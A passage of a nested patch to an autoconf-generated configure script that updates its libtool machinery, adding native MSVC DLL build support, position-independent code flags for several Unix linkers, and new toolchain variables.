-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9972,7 +10555,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9980,7 +10563,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9996,7 +10579,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -10020,10 +10603,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -10102,23 +10685,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10203,7 +10799,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10222,9 +10818,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10800,8 +11396,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10834,13 +11431,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10932,7 +11587,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11728,7 +12383,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11731 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11772,10 +12427,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11834,7 +12489,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11837 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11878,10 +12533,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -14525,7 +15180,7 @@ SHARED_LDFLAGS=
- if test "$enable_shared" = "yes"; then
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- # More hacks to build DLLs on Windows.
-@@ -17142,13 +17797,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -17163,14 +17825,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -17203,12 +17868,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -17263,8 +17928,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -17274,12 +17944,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -17295,7 +17967,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -17331,6 +18002,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -18119,7 +18791,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -18222,19 +18895,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -18264,6 +18960,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -18273,6 +18975,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -18387,12 +19092,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -18479,9 +19184,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -18497,6 +19199,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -18529,210 +19234,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
